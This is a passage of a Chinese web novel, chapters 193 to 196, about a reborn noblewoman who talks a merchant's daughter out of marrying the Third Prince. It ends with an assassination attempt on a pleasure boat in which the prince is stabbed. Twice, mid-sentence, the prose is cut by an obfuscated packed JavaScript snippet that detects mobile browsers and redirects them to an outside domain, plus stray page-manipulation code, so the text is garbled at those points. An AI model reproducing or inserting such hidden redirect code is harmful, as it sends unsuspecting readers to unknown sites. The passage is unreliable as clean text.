“若我真狠,哪会只下苦参和辣椒?早给他下泻药,让他三日三夜离不开茅房;要么下点损阳气的药,让他此生都当不成男人!”姜姝宁顿了顿,唇边笑意更深,“凌芜,这,才是真狠!” 凌芜顿时头皮发麻。 王爷,大小姐好像视你为仇敌,您还是自求多福吧! 姜姝宁瞧她那副胆战心惊的模样,扑哧一笑:“瞧你吓的,我不过是开个玩笑罢了,别放心上!” 凌芜哭笑不得:大小姐,这玩笑可一点都不好笑! 姜姝宁敛了笑意,掀开车帘对马夫道:“老杨,掉头去苏府!” 凌芜一愣:“大小姐,苏姑娘之前那般算计您,您怎还主动去苏府?你就不怕……” “从前她与五皇子有婚约在身,误以为我和五皇子有情愫,这才妒恨算计我。”姜姝宁神色浅淡,“如今她既与五皇子解了婚约,便没了与我为敌的理由。唯有从她入手,才能说服苏府取消婚事,断了三皇子的助力!” 凌芜听罢,眼神一亮,忙点头道:“大小姐高见!您放心,奴婢定护您周全,绝不让那苏姑娘有机会伤你!” 她们刚到苏府门口,还未踏入,便被守门的下人拦住去路。 苏婉在府内听到姜姝宁来访的消息,气得柳眉倒竖:“她来做什么?特意跑来看我笑话不成?简直欺人太甚!去,把她给我轰出去,休想踏进我苏府半步!” 下人得了主子的吩咐,来到门口,冷着脸对姜姝宁下逐客令:“姜姑娘,请回吧,我们小姐今日不便见客!” 凌芜拉了拉姜姝宁的衣袖:“大小姐,这苏姑娘摆明了不愿见咱们,咱们该如何是好?” 姜姝宁却似早有预料,笑着对那下人道:“苏姑娘刚经历退婚之事,心情不佳也在情理之中。想必她如今定然披头散发、容颜憔悴,实在不方便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15873391|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见客。是我等唐突了。这样吧,待苏姑娘恢复了往日神采,我们再来拜访不迟!” 说罢,她微微颔首,作出一副善解人意的模样,转身拉着凌芜便回马车。 待下人将姜姝宁的原话一字不漏地传回苏婉耳中,苏婉气得脸色铁青:“好你个姜姝宁,竟敢如此讥讽于我!披头散发?容颜憔悴?她当本小姐是什么人了!本小姐乃京城首富的掌上明珠,岂是一个小小的退婚就能让我一蹶不振?来人,速去给姜姝宁送一张请帖,邀她明日来苏府饮茶!” 下人听罢,面露诧异,忍不住小心翼翼地提醒:“小姐,您之前不是说要与那姜姑娘老死不相往来吗?怎又……” “哼!我是不想与她结交,但也绝不能让她小瞧了去!”苏婉冷哼一声,眼底闪过一抹不甘与倔强,“明日,我定要让她亲眼瞧瞧,本小姐依旧光彩夺目,让她自惭形秽,后悔今日的狂言!” 姜府很快便收到了苏婉送来的请帖。 凌芜将请帖递到姜姝宁手中,竖起大拇指:“大小姐,您这招激将法果然厉害!昨日才在苏府门口戳了她的痛处,今日她便巴巴地送来请帖,分明是憋着一口气,要在您面前争回面子呢!” 姜姝宁接过请帖,轻轻扫了一眼,唇角微微上扬。 “你去搜罗一些京城美男子的画像,记得要找些家境一般、尚未婚配的男子。准备妥当后,明日我们一起带进苏府。” 凌芜顿时愣住,满脸不解:“大小姐,带男子画像去苏府做什么?” 姜姝宁抬起眼,笑意愈发狡黠:“自然是……要做媒啊!” “做媒?给苏姑娘做媒?”凌芜扑哧一笑,“大小姐,您怕是要白忙活了!这苏姑娘好歹是京城首富之女,眼高于顶,就算被退婚了,也能和三皇子结亲,她怎可能瞧得上家境一般的穷小子?” “所以才让你找美男子啊!皮相好看,便能弥补身份不高、财力不足的短板。男人嘛,有时候一张脸,便能乱了女人的心。” 姜姝宁前世栽过跟头,比谁都清楚美男子的杀伤力。 她不信苏婉能不为所动。 凌芜却持怀疑态度。 她心想,若真这么管用,大小姐你怎么对长相昳丽的王爷如此冷漠? 要知道,这京城里能比王爷容貌更出色的男子,屈指可数啊! 第193章 嫁人哪有招亲好? 第一百九十三章嫁人哪有招亲好? 第二日,姜姝宁带着凌芜前往苏府。 苏婉果然盛装出席,身着最名贵的云锦华服,裙摆上绣着繁复的金丝凤凰,熠熠生辉;头上插满了各色宝石珠钗,流光溢彩;脖颈间、腕间更是挂满了珍稀首饰,叮当作响,似是恨不得将苏家半个家底都挂在身上,好让姜姝宁高看一眼。 一想到她随便一点首饰就能抵京城一座府邸,姜姝宁就愈发觉得今日这一趟来得有必要。 这么多财力,决不能给萧修湛这个卑鄙小人用! 苏婉瞥见凌芜手中提着的字画,嘴角勾起一抹嘲讽:“姜姑娘,这字画便是你的登门礼?我们苏府什么名贵珍宝没见过,你这点东西,怕是连我家库房门槛都迈不进来!” 姜姝宁丝毫不恼,唇角扬起一抹从容笑意,语气轻缓却暗藏锋芒:“苏府自然是财大气粗,区区字画确实难入苏姑娘法眼。我今日来,不过是听闻苏姑娘与三皇子殿下定下亲事,特来道贺。苏府出手向来阔绰,想必三皇子殿下的聘礼也定是价值连城吧?” 此话一出,苏婉脸色陡然一僵,眼中闪过一丝难堪。 她强撑着笑意,声音却有些发紧:“我们苏家什么没有?聘礼这种小事,我压根不放在心上!” “哦?”姜姝宁故作惊讶,语气却带着几分揶揄,“聘礼可是男子娶妻的诚意。三皇子殿下若真心求娶苏姑娘,怎会连像样的聘礼都不备?还是说……三皇子殿下根本没这份诚意?” 苏婉被这话戳中痛处,脸上的笑意再也挂不住,声音陡然拔高:“姜姝宁,你少在这挑拨离间!三皇子殿下乃皇室贵胄,身份尊贵无比,我嫁给他,已是苏家高攀,聘礼算什么?就算没有,我也甘之如饴!” “身份尊贵?”姜姝宁轻笑一声,眼中闪过一抹冷意,“苏姑娘莫非没听说?三皇子母妃前些日子刚被贬了妃位,偌大的后宫,生了皇子的嫔妃中,唯独她连贵妃都不是。这样的‘尊贵’,怕是也经不起推敲吧?” “姜姝宁!”苏婉气得脸色铁青,猛地拍案而起,“别以为我看不透你的心思!你不就是怕我嫁给三皇子,挡了你的路?姜瑶真早就说过,你最擅长在男人间周旋,怕是担心三皇子娶了我,便不会再多看你一眼,才故意用这些话来挤兑我!” 姜姝宁闻言,嗤笑出声,目光却冷了几分:“苏姑娘竟还信姜瑶真的鬼话,难怪被她耍得团团转!她生辰宴那日,你、张嫣和她联手算计我,结果如何?她为了自保,当众与你撇清关系!这样的人,你不敬而远之,还想拿苏家的万贯家财去和她共事一夫,甘心当个低她一等的侧妃,日日受她磋磨。苏婉,你当真要如此作践自己?” 这话如同一记重锤,狠狠砸在苏婉心头。 她脑海中不由浮现那日生辰宴上姜瑶真冷漠推脱的嘴脸。 若真嫁给三皇子,做了侧妃,岂不是日后都要在她面前低头,受她算计? 苏婉攥紧了手中帕子,眼神中闪过一丝动摇。 片刻后,苏婉瞪向姜姝宁,目光满是幽怨:“若不是因为你,五皇子怎会跟我退亲?我又怎会落到如今这步田地?说到底,都是你的错!” 姜姝宁怒极反笑:“苏姑娘这话有意思了。你们联手算计我,难道还要我乖乖受你们摆布?从始至终,我从未主动害你,反倒是你,莫名其妙对我怀有敌意,还用那些拙劣手段来陷害我!今日这局面,不过是你自食恶果!” 苏婉被戳中痛处,气得泪水夺眶而出:“姜姝宁,你伶牙俐齿,今日特意上门,就是来看我笑话的吧?” “非也。”姜姝宁语气放缓,“我此来只想提醒一句:三皇子并非真心想娶你为侧妃,不过是看中苏家的万贯家财,又见你被退婚无路可走,才趁虚而入。你没瞧见吗?他连像样的聘礼都没准备,就敢大张旗鼓宣称与苏家定亲,这算哪门子诚意?” 苏婉咬紧下唇,眼中闪过一丝不甘:“你说得没错,可我如今被退婚,名声尽毁,除了他,还有哪个名门公子会娶我?就算明知三皇子的麟阁宫是火坑,我也只能硬着头皮跳了!” “苏姑娘何必妄自菲薄?以苏家家财万贯,你又是家中独女,婚姻大事何须如此委屈?不如反其道而行,招个入赘的夫婿!如此,苏氏产业依旧牢牢握在你们父女手中,将来诞下子嗣,孩子顺理成章继承家业,岂不快哉?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15876789|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 苏婉一愣,皱眉嘀咕:“入赘的男人多是好吃懒做的废物,我可不想嫁这种货色!” “苏姑娘这话可不对。”姜姝宁不紧不慢地展开一幅画像,露出一个清俊斯文的男子面容,“你瞧,这位是西街的李秀才,才华横溢,本可金榜题名,只因老母重病缠身,他不得不日夜操劳养家,耽误了科考。若你肯让他入赘,他定会以功名回报你的恩情。” 苏婉盯着画像,瞧见李秀才清隽俊朗,隐约有几分五皇子萧怀瑾的风采,不由暗暗心动:“他真长得如此好看?” “自然。”姜姝宁笑得胸有成竹,“这画像是京城名师所绘,与本人分毫不差。” 她又展开另一幅画像,“再看这位,城南的林公子,母亲早逝,摊上个嗜赌成性的父亲,动辄对他拳脚相加,日子过得水深火热。听说他父亲欠下巨额赌债,竟打算将他卖去南风馆!如此容貌昳丽的少年,若就此毁了,岂不可惜?若你肯让他入赘,他定会对你感恩戴德,携手共创佳话!” 苏婉盯着林公子的画像,眼睛都直了:“这……他当真长得如此俊美?” 姜姝宁笑而不语,朝凌芜使了个眼色。 凌芜会意,拍手惊叹:“苏姑娘,奴婢亲眼见过这林公子,画像哪有他本人三分神采?论容貌,堪称貌若潘安,那容色,就连姑娘见了都得自叹不如!日日对着这张脸,饭都能多吃两碗!” 苏婉心头一震,脑海中浮现三皇子萧修湛那张平平无奇的脸,若无皇子身份加持,怕是扔进人群都找不着。 若真跟这样的人成了亲,还得与他后院一群妻妾争宠,未免太委屈自己了。 “你说得对!三皇子毫无娶我的诚意,不过是觊觎苏家的财富!我虽是女子,却不比男人差,定能替爹爹守住家业!谁说女子非得嫁人?我偏要招亲,挑个入赘的夫婿,为苏氏开枝散叶!” 姜姝宁与凌芜对视一眼,齐声笑道:“苏姑娘果然是女中豪杰!” 苏婉哼了一声,斜睨姜姝宁:“还有别的画像没?快拿出来让我瞧瞧,今日非得挑个最合心意的!” 姜姝宁笑意更深:“好说,苏姑娘慢慢挑,保你满意!” 第194章 他需要像姜姝宁这样的女人 第一百九十四章 他需要像姜姝宁这样的女人 送走姜姝宁和凌芜后,苏婉便抱着那叠男子的画像直奔苏老爷的书房。 她直截了当地开口:“爹爹,女儿想跟三皇子退亲,再以招亲的方式寻个合适的男子入赘我们苏家,为苏家开枝散叶!” “什么?”苏老爷眼珠子瞪得溜圆,“婉儿,你才刚被五皇子退亲,若不是爹应下三皇子这门亲事,咱们苏家在京城都快抬不起头来了!你如今竟说要退亲,这让爹的脸往哪搁呀!” 他顿了顿,似乎想起什么,“爹听说今日姜姑娘来我们府上,莫不是她使坏,教唆你干这糊涂事?我这就去姜府找姜丞相理论!” “爹爹,您先别急着生气嘛!”苏婉连忙拉住苏老爷,“女儿不是被谁教唆的,是我自个儿想明白的!您想想,当初若不是三皇子妃推波助澜,女儿怎会如此妒恨姜姝宁,甚至不惜一切代价陷害她?如今我名声扫地,五皇子立马退婚,这三皇子倒好,见我无路可走,立马就来提亲,摆明了不是真心娶我,就是冲着咱们苏家的家财来的,想趁机捡漏!” 苏老爷闻言,脸色一变:“莫非这事儿从头到尾都是三皇子夫妇设下的圈套?先是挑拨你去害姜姝宁,害得你被五皇子退婚,他们好得渔翁之利?!” “爹爹,您也觉得蹊跷吧?”苏婉趁热打铁,压低声音,“他们夫妇俩跟蛇似的,又狡猾又毒辣,爹爹您就女儿一个心肝宝贝,怎舍得让我跳进那狼虎之穴?再说了,三皇子那一堆妻妾,女儿从小就不爱跟人分享东西,更别提夫君了,若真嫁过去,岂不是得憋屈死?” 苏老爷越想越觉得有道理,皇室行事向来霸道,若真存了私吞苏家家业的心思,他们一个商贾之家,根本毫无还手之力。 到时候,女儿受了委屈,家财也保不住,那才是真正的万劫不复。 “况且……”苏婉故意拉长了声音,卖了个关子。 “况且什么?”苏老爷追问道。 苏婉嘟起嘴:“况且那三皇子相貌平平无奇!女儿从小就喜欢漂亮的东西,若嫁给个不好看的夫君,天天对着那张脸,得多憋屈啊!” 苏老爷无语凝噎,嘴角微抽。 要是被自诩风流倜傥、阅女无数的三皇子知道自家女儿嫌弃他长相平庸,怕是要气得跳脚,恨不能找个地缝钻进去吧! 他沉吟片刻,脸色稍缓:“三皇子的婚事可以退,可你说的招亲……还是算了吧!这天底下的男子心气都高,谁会愿意入赘?怕不是些贪婪无耻之辈!” “爹爹,您这话可就错了!这世上多的是境遇不好却才华横溢的好男儿,只要咱们伸出援手,他们定会感恩戴德。爹爹辛苦半生才有苏家这份财富,难不成真要拱手让给外人?倒不如留给女儿将来生下的儿子继承!” 这话戳中了苏老爷的心窝,他眼神渐渐动摇,喃喃道:“你说的倒也有几分道理,可……可三皇子那边已经来提过亲了,满京城的人都知道了。我们此时拒婚,岂不是公然下面子?” 苏婉冷笑一声,语气里满是不屑:“面子?他提亲连正经的聘礼都没送来一份,不过是动动嘴皮子罢了,这算哪门子的提亲?再说了,当初五皇子说退婚就退婚,何曾顾及过我们苏家的面子?既然他们皇家可以不仁,我们又何须顾及他们的脸面?” “婉儿说的有理!”苏老爷当即下定决心,声音都抬高了几分,“他皇家不给咱们脸,咱们也没必要上赶着去贴!爹爹这就让人给三皇子府传信,这门亲,我们苏家不结了!” 苏婉一听这话,心头大喜。 “爹爹英明!那这些画像,咱们细细挑一挑,定要选个最合心意的上门女婿!” 苏家公然退了三皇子的婚事,还放出风声要为苏婉招亲的消息,不过几日便传遍了京城。 茶楼酒肆里,议论声此起彼伏,连带着熙妃妃位被降之事也被翻出来嚼舌根。 高门世家私下里纷纷揣测:莫非三皇子萧修湛当真失了宠? 否则一个区区商贾之女,为何宁可招亲,也不愿嫁给皇子当侧妃? 麟阁宫内,姜瑶真听到这个消息时,气得浑身发抖。 “岂有此理!”她尖利的嗓音在屋里回荡,吓得一众婢女噤若寒蝉,跪在地上头也不敢抬。 “那个苏婉是猪脑子吗?放着好好的皇子侧妃不做,去招什么上门女婿?她疯了不成!”姜瑶真胸口剧烈起伏,一想到苏家那泼天的富贵就这么从指缝里溜走,她就心如刀绞。 那可是源源不断的金山银山,是她日后在后院立足、为萧修湛笼络人心的最大资本! 现在全泡汤了! 春花小心翼翼地上前,低声道:“娘娘息怒……奴婢派人去打听了,听说这事,是大小姐给苏姑娘出的主意。” 姜瑶真猛地回头,眼神淬了毒一般:“你说谁?” “是……是大小姐。”春花被她看得头皮发麻,“大小姐前几日应邀去了一趟苏府,当天苏姑娘就跟苏老爷闹着要退婚招婿了,想来,定是大小姐和她说了什么。” “姜姝宁!” 姜瑶真从牙缝里挤出这个名字,仿佛要将它嚼碎了吞下去。 又是她!又是这个阴魂不散的贱人! 自己每一步棋,似乎都会被她轻而易举地破坏掉。 一想到那个本该被自己随意拿捏、予取予求的商贾之女苏婉,就这样被姜姝宁三言两语给说动,彻底脱离了掌控,姜瑶真心头那股无名火就烧得她五脏六腑都疼。 “姜姝宁,你真是我最大的绊脚石!”姜瑶真指甲深深嵌入掌心,眼神怨毒。 而此时的萧修湛,在书房里听着下属的禀报,脸色阴沉得能滴出水来。 苏家拒婚,这无疑是当众给了他一记响亮的耳光。 他堂堂一个皇子,竟被一个商户之女拒婚,传出去他还有何颜面立足? 可当他听到,这一切的始作俑者是姜姝宁时,那股滔天的怒火竟鬼使神差地灭了,甚至腾起了一丝奇异的感觉。 姜姝宁?她为什么要去搅黄他的亲事? 一个念头毫无预兆地从他心底冒了出来。 难道……她是在吃醋? 难道她对自己其实并非毫无情意,所以才不愿看到自己迎娶别的女子,哪怕只是一个侧妃? 这个念头一冒出来,便如野火燎原般在心头蔓延开来,瞬间占据了他的整个思绪。胸口那股被羞辱的憋闷之气,竟奇迹般地消散了许多。 他忽然觉得,就算得不到苏家的万贯家财,似乎也没那么难以接受了。 不久前,他派去南朔城的眼线回来禀报,告诉他一个令他震惊的真相——当初南朔城危在旦夕,局势几近崩塌,正是女扮男装的姜姝宁临危不乱,果断带着大夫及时赶到,才助萧凌川力挽狂澜,扭转了那濒临绝境的败局。 这样一个聪慧绝伦、胆识过人的贵女,怎能不让人心驰神往? 萧修湛的指节轻轻敲击着桌面,眼底的阴霾渐渐散去,取而代之的是一种深沉的、带着算计的欣赏。 他太需要一个像姜姝宁这样的女人了。 一个能看穿人心,能于无声处布局,能助他翻盘的女人。 若是能得到她的助力…… 萧修湛的嘴角缓缓勾起一抹意味不明的弧度。 他不信,自己还赢不过萧凌川那个南月贱种! —— 成功说服苏老爷同意招亲后,苏婉的婚事没过多久便定了下来。 她亲自登门,将请帖递到姜姝宁手中,眉眼含笑,郑重道:“姜姑娘,婚宴之日,你可务必赏脸前来!” 姜姝宁接过请帖,见她面若桃花,眉梢眼角皆是掩不住的喜意,不由打趣道:“瞧苏姑娘这春风满面的模样,定是挑了个十分合心意的夫婿。恭喜苏姑娘,得偿所愿!” 苏婉掩唇一笑,眼中闪着几分得意:“我与爹爹反复斟酌,最终选定了李秀才。他满腹才学,将来孩子随他学些才识,定能聪慧过人。就算日后从商,也绝非寻常商人可比! 至于林公子,唉,他身世实在可怜,我便求爹爹出钱替他赎身,将他从那赌鬼父亲手中救出。如今他在苏家银楼当掌柜,你猜怎么着?那些京中世家贵女为了一睹他的风采,三天两头往银楼跑,生意竟比从前好了足足五成!” 姜姝宁听罢,忍不住笑出声来:“做生意,还是得看你们苏家!” “那是自然!”苏婉笑着上前,亲昵地拉住姜姝宁的手,语气中透着几分真诚,“姜姑娘,过去是我有眼无珠,算计你在先,可你不计前嫌,还为我出谋划策。我 日后的幸福美满,有你一半的功劳!从今往后,若你有任何需要帮忙之处,只需一句话,我苏婉和整个苏家,定当倾力相助!” 姜姝宁闻言,眼中笑意更深,轻轻拍了拍她的手:“多谢苏姑娘这份心意。你可得说话算话!” “放心!”苏婉拍着胸脯,语气坚定,“我们商贾之家虽重利,但能积累万贯家财,靠的就是一个‘信’字!我苏婉一言九鼎,绝不食言!” 第195章 画舫上遭遇刺杀 第一百九十五章 画舫上遭遇刺杀 苏婉离开后,凌芜凑上前来,满眼都是崇拜:“大小姐,您真厉害!不久前那苏姑娘还把您当眼中钉肉中刺,恨不得除之而后快,这才几天功夫,您就让她化干戈为玉帛,巴巴地跑来给您当靠山了!” “敌人自然是越少越好。”姜姝宁神色浅淡,“不过,苏家最多只能算是一份助力,远远称不上靠山。这世上,人能依靠的永远只有自己。女子,尤其如此。” 凌芜似懂非懂地点点头,随即又笑了起来:“大小姐,您不过才十几岁的年纪,怎么说起话来竟如此深奥,倒像是……倒像是把这人生都看透了似的。” 姜姝宁唇角勾起一抹极淡的苦笑,那笑意未达眼底,便已消散在冰冷的空气里。 前世那般可悲的下场,若这还看不透,那她真是白白重活一世了。 当日,姜姝宁不仅收到了苏婉大红洒金的婚宴请帖,还收到了萧凌川的邀约。 他邀她于翌日午后,同乘画舫游览幽兰湖,共赏漫天雪景。 游画舫? 前世,萧凌川从未与她有过这般浪漫之举。 当皇子时,他便是出了名的孤僻冷傲,不苟言笑,总是独来独往。 唯有在姜瑶真参加的宴席上,他才会出现。 成婚后,萧凌川更是将她当个喘气的摆件,需要时物尽其用,不需要时从未想起她,更别提讨她欢心了。 姜姝宁看着窗外纷纷扬扬的飘雪,发出一声极轻的嗤笑:“这天寒地冻的,雪下得跟鹅毛似的,还游什么画舫?王爷可真是有闲情逸致!” 凌芜生怕她一口回绝,连忙道:“大小姐,您有所不知!这雪中游船别有一番景致!画舫里燃着暖炉,温上一壶热酒,隔着窗看那湖山一色,雪落无声,美得就像画里一样!” “是么?”姜姝宁神色浅淡,将那请帖随手搁在桌上,“那便去吧。” 她顿了顿,唇角那抹讽刺的弧度愈发明显,“想来,是我说服苏姑娘与三皇子退婚一事,让王爷看到了我这个盟友的价值,这是想要嘉奖我一番呢!” 凌芜的眼尾微抽。 什么嘉奖不嘉奖的,王爷分明就是想寻个由头见您! 要是换做别的女子,早就心花怒放了,大小姐,你当真是油盐不进啊! 第二日,幽兰湖畔,寒风卷着雪沫子,吹得人脸颊生疼。 姜姝宁一下马车,便看见了等在岸边的萧凌川。 他身着一件月白色的锦袍,外罩一件玄狐皮的黑色大氅,长身玉立,墨发以一根简单的玉簪束起,是京城寻常富贵公子的装扮。 只是,他身后那艘画舫,可半点都不“寻常”。 那画舫雕梁画栋,三层楼高,船身通体由名贵的金丝楠木打造,檐角挂着精致的琉璃风灯,即便在白日里,也透着一股子奢靡的气息。 这般张扬的手笔,引得湖边本就不多的游客,都频频朝他们这处张望,指指点点。 “王爷好大的手笔。”姜姝宁走上前,微微屈膝行礼,语气听不出喜怒。 萧凌川的目光落在她身上,深邃的眸中漾开一抹浅笑:“为博佳人一笑,这些都是应该的。” 这行事方式还真是……跟前世大相径庭。 前世的他,最是厌恶旁人瞩目,行事低调隐秘。 如今这般高调,也不怕遭人嫉妒,惹来非议。 姜姝宁敛下眸中的思绪,抬起头,脸上绽开一个温婉柔和的笑容,故意问:“不知王爷今日肠胃可还好?有按时服用臣女为您开的那副药方吗?” 提起这事,萧凌川脸上的笑容瞬间凝固了。 他要是真敢服用她开的那副的药方,那他就真的好不了了! 她是懂得如何让他无言以对的。 两人一前一后上了画舫。 船舱内温暖如春,燃着上好的银骨炭,闻不到一丝烟火气。 早有侍女奉上热茶与精美的糕点,角落里还有乐师在弹奏着悠扬的古琴曲,正如凌芜所说,隔着琉璃窗向外望去,天地茫茫,湖山一色,的确是难得的雪景。 这一刻,抛开身边这个让她心绪复杂的人,姜姝宁的心情是愉悦的。 人世间有这样多的美景,有这样多的好物,凭什么要为了一个男人,将自己困死在一方深宅之内? 此生,她定要好好活着,看遍山河,长命百岁。 萧凌川像是铆足了劲要讨好她,言语间不再是往日的清冷寡言。 他先是夸她不费吹灰之力便解决了苏家女的婚事,釜底抽薪,断了三皇子的一大助力。 而后又不停地为她布菜,劝她多用些点心,那殷勤的模样,若是让前世的姜姝宁见了,怕是会以为自己身在梦中。 姜姝宁只是扯了扯嘴角,安静地听着,偶尔附和一两句,并不多言。 原来,他不是不会讨人欢心,不是不懂风月。 只是前世的她,爱得太满,太卑微,太易得,所以他不屑于,也懒得花费任何心思来讨好罢了。 今生他越是对她好,她就越为前世那个痴傻的自己感到不值。 何必呢? 为一个男子,赔上一生,蹉跎所有年华,真是蠢得无药可救。 不知不觉,天色渐晚,夜幕开始一点点吞噬天光。 姜姝宁放下茶盏,起身道:“天色不早了,臣女也该回府了。” 萧凌川闻言,立刻出声挽留:“再等一等,待会儿画舫上会点满灯火,映着这湖上白雪,更是夺目。” 姜姝宁却不想再继续待下去了。 与他相处的每一刻,都像是在提醒她前世有多愚蠢。 她摇了摇头,态度坚决:“多谢王爷美意,只是家父尚在府中等候,实不便久留。” 见她执意要走,萧凌川眼中闪过一抹失落。 他只能无奈地吩咐一旁的凌风:“去,让人将灯笼都点上吧。” 随着他一声令下,画舫四周悬挂的数百盏灯笼被一一点亮。 橘黄色的温暖光芒瞬间驱散了暮色带来的寒意,将整艘画舫照得恍如白昼,也照亮了萧凌川那张俊美出众的面容。 灯火流光中,他静静地看着她,那双向来深不见底的多情桃花眼,此刻盛满了毫不掩饰的期待与温柔,仿佛夜空中最亮的星辰,直直地坠入她的心底。 那一刻,姜姝宁的心口像是被一只无形的手狠狠攥住,猛地一缩。 她忽然有一种强烈的冲动,想冲到他面前,揪着他的衣襟,歇斯底里地质问他,前世为何那般对她? 就算不爱她,就算埋怨她当年以清誉相逼,让他不得不娶她为妻,也不应该待她那般残酷! 让她喝了整整十年的避子汤,日日夜夜盼着一个永远不会到来的孩子,在一日又一日的失望与空寂中,蹉跎掉一辈子! 何等的残忍! 可话到了嘴边,千言万语,却被她如数咽了回去。 无所谓了。 前世的怨,前世的恨,早应随着她的死亡而尘封。 今生,哪怕他有心弥补,也无济于事。 碎了的镜子,再也无法重圆。 她收回目光,最后朝他福了福身子,转身便要离开。 可就在她转身的一刹那,异变陡生! 画舫之上,不知从何处突然冒出数个手持利剑的黑衣人,他们身上带着浓重的杀气,目标明确,如鬼魅般,疯狂地朝着姜姝宁的方向刺来! “小心!” 萧凌川的厉喝声与凌风、凌芜的惊呼声同时响起。 电光石火间,他已将她护在身后,与凌风、凌芜并肩迎向刺客。 刀剑相击的声音刺耳尖锐,画舫上瞬间陷入一片混乱。 不过片刻,黑衣人们便落了下风。 他们对视一眼,其中一人猛地从怀中掏出一把灰色的粉末,狠狠朝萧凌川等人洒去! 那粉末带着一股异香,萧凌川和凌风、凌芜猝不及防,视线瞬间模糊,动作也迟滞了一瞬。 就是这一瞬的功夫,剩下的黑衣人绕开了他们,如嗜血的饿狼,直直地冲向了姜姝宁! 他们目标很明确,是想要她的命! 姜姝宁心头一紧,手臂上的袖箭瞬间激发,银光闪过,只射中了冲在最前面的两个黑衣人。 另外几人依旧不管不顾,手中的长剑泛着森冷的寒光,紧紧相逼! 她被逼得连连后退,后背很快就抵上了冰冷的船舷。 下方便是黑沉沉、冰冷刺骨的湖面,寒气仿佛能透过船板,钻进她的骨髓。 她落过水,知道那种口鼻被冰水灌满,肺部灼烧,一点点窒息而亡的感觉有多么可怕。 恐惧像一张无形的巨网,将她牢牢缚住,让她浑身抑制不住地颤抖起来。 就在她犹豫的这一刹那,黑衣人的利剑已经带着破风之声,朝着她的面门狠狠砍来! 姜姝宁瞳孔骤缩,几乎是下意识地闭上了眼睛—— 然而,预想中的剧痛并未传来。 耳边却响起一道皮肉被利刃撕 裂的、令人头皮发麻的恐怖声音。 姜姝宁猛地睁开眼,整个人都僵在了原地。 只见萧凌川不知何时竟挣脱了对手,以一种不可思议的速度挡在了她的身前。 那柄本该砍向她的长剑,此刻正从他的胸口贯穿而过,剑尖带着淋漓的鲜血,从他的后背透出。 温热的液体,猛地溅了她满脸,带着一股浓重的血腥味。 时间仿佛在这一刻静止了。 她只能眼睁睁地看着他,看着他胸前那朵迅速绽开的、妖冶的血花,看着他脸上闪过的错愕与痛苦,看着他缓缓低下头,望向自己胸前的剑…… 第196章 与死神的拉锯战 第一百九十六章 与死神的拉锯战 “王爷!” 凌风双目赤红,狠狠劈向那黑衣人持剑的手臂! “咔嚓——” 伴随着黑衣人凄厉的惨叫,那只握着剑的手齐腕而断,掉落在甲板上。 但一切都为时已晚。 萧凌川高大的身躯猛地一晃,再也支撑不住,沉重地跪倒在姜姝宁的面前。 他猛地呛咳一声,暗红的血沫从他惨白的唇角溢出,一滴一滴,落在姜姝宁素白的裙摆上,刺目惊心。 姜姝宁下意识地伸出手,牢牢地抱住了他摇摇欲坠的身体。 他的重量压在她身上,滚烫的体温和浓得化不开的血腥气将她彻底淹没。 她的声音抖得不成样子:“王爷、王爷……你为何……要替臣女挡下那一剑?” 萧凌川费力地抬起眼,那双向来深不见底的墨眸此刻已经开始涣散,他看着她,脸上竟扯出一个比哭还难看的惨淡笑容。 “前世……本王没能……护你周全,今生……绝不能……再有……相同遗憾……” 话音未落,他眼中的最后一丝光亮也彻底熄灭,彻底栽倒在她身上,不省人事。 “王爷——” 尖利的悲鸣冲破了姜姝宁的喉咙。 震惊、心疼、惊慌……无数种复杂的情绪交织成一只无形的大手,死死地攥住她的心脏,疯狂地撕扯着,疼得她几乎要窒息。 不,他不能死! 她疯了一般,用沾满他鲜血的手去掐他的人中,声音凄厉:“萧凌川,你不要睡,你给我醒过来!快醒来!” 可他毫无反应,像一尊逐渐冰冷的玉石。 姜姝宁强迫自己冷静,脑海中拼命回忆孙神医传授的急救之法。 她颤抖着解开他满是血迹的外袍,手指在冰冷的肌肤上摸索,找到胸腹间的几处要穴,试图为他止血。 她又手忙脚乱地从袖中掏出随身针包,抓出最长的一根银针,连看都不敢多看一眼,凭着本能狠狠刺入他的百会穴。 一边做着这一切,她一边语无伦次地低声呢喃,像是在恳求他,又像是在安抚自己:“你答应过我的,要为我大哥报仇……萧凌川,你不能食言……你绝不可以死……” 凌风还算冷静,他一脚将那断手的刺客踹翻在地,对着闻声而来的王府侍卫厉声下令:“快,让船夫立刻靠岸!这些人,一个都别放跑了,务必给留活口!” 侍卫们得令,迅速将负隅顽抗的黑衣人们团团围住。 然而,那些黑衣人对视一眼,竟像是早就商量好的一般,纷纷闷哼一声,软倒在地。 凌风心中一沉,快步上前探查,只见每个人都已没了气息,乌黑的毒血正从他们的嘴角缓缓溢出。 “该死!” 竟然是早就抱了必死之心的死士! 线索,就这么断了! 他强压下心中的暴怒与悲痛,快步走到姜姝宁身边,对着一旁同样手足无措的凌芜嘱咐道:“看好姜姑娘和王爷,我立刻上岸去找孙神医!” 说罢,他足尖一点,在画舫堪堪靠岸的瞬间,便飞身而起,消失在了沉沉的夜色之中。 等待的时间,每一分每一秒都像是在滚油中煎熬。 姜姝宁抱着萧凌川,不断地为他施针,按压穴位,可那血仿佛流不尽似的,很快便将她整个人都浸透了。 